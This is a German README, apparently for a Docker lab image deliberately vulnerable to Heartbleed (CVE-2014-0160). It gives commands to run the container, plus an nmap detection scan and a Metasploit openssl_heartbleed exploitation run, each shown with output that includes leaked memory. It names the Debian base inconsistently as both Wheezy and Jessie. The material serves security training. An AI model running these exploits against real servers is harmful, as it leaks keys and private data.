Vulnerability as a Service - CVE 2014-0160

Ein Debian (Wheezy) Linux-System mit einer verwundbaren Version von libssl und openssl und einem Webserver zur Demonstration von CVE-2014-0160, auch bekannt als Heartbleed.

Übersicht

Dieser Docker-Container basiert auf Debian Jessie und wurde modifiziert, um eine verwundbare Version von libssl und openssl zu verwenden.

Eine einfache statische Webseite wird über Apache 2 ausgeliefert.

Verwendung

Installieren Sie den Container mit docker pull hmlio/vaas-cve-2014-0160

Führen Sie den Container mit einer Portweiterleitung aus: docker run -d -p 8443:443 hmlio/vaas-cve-2014-0160

Sie sollten in der Lage sein, die Webanwendung unter http://your-ip:8443/ zu erreichen.

Überprüfung

Die Webserver/verwundbare openssl/libssl-Version kann wie unten gezeigt verifiziert und ausgenutzt werden (die Verwendung einer Kali-Maschine wird empfohlen):

root@kali:~/vaas-cve-2014-0160# nmap -sV -p 8443 --script=ssl-heartbleed your-ip
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-26 17:31 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000068s latency).
Other addresses for localhost (not scanned): ::1

PORT     STATE SERVICE VERSION
8443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.10 (Debian)
| ssl-heartbleed: 
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://cvedetails.com/cve/2014-0160/
|_      http://www.openssl.org/news/secadv_20140407.txt 

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.61 seconds

Ausnutzung

Using msfcli from the Metasploit framework:
root@kali:/tmp# msfcli auxiliary/scanner/ssl/openssl_heartbleed RHOSTS=your-ip RPORT=8443 VERBOSE=true E

...
...
[*] 192.168.179.230:8443 - Sending Heartbeat...
[*] 192.168.179.230:8443 - Heartbeat response, 65535 bytes
[+] 192.168.179.230:8443 - Heartbeat response with leak
[*] 192.168.179.230:8443 - Printable info leaked: U`tcz~8}"V2|vf3<tf"!98532ED/A/39.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip